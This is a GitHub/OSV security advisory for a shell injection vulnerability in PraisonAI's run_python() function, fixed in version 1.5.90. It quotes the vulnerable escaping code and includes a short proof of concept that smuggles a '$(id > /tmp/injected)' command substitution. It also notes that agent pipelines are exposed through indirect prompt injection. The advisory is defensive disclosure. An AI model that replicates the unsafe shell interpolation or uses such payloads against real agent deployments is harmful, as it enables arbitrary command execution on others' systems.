GHSA-w37c-qqfp-c67f

Suggest an improvement
Source
https://github.com/advisories/GHSA-w37c-qqfp-c67f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w37c-qqfp-c67f/GHSA-w37c-qqfp-c67f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-w37c-qqfp-c67f
Aliases
  • CVE-2026-34937
Published
2026-04-01T23:18:17Z
Modified
2026-04-02T13:34:21.512973Z
Severity
  • 7.8 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution
Details

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:18:17Z",
    "severity": "HIGH",
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-78"
    ]
}
References

Affected packages

PyPI / praisonaiagents

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.5.90

Affected versions

0.*
0.0.1
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0.1.0
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1.*
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1.5.89

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w37c-qqfp-c67f/GHSA-w37c-qqfp-c67f.json"
last_known_affected_version_range
"<= 1.5.89"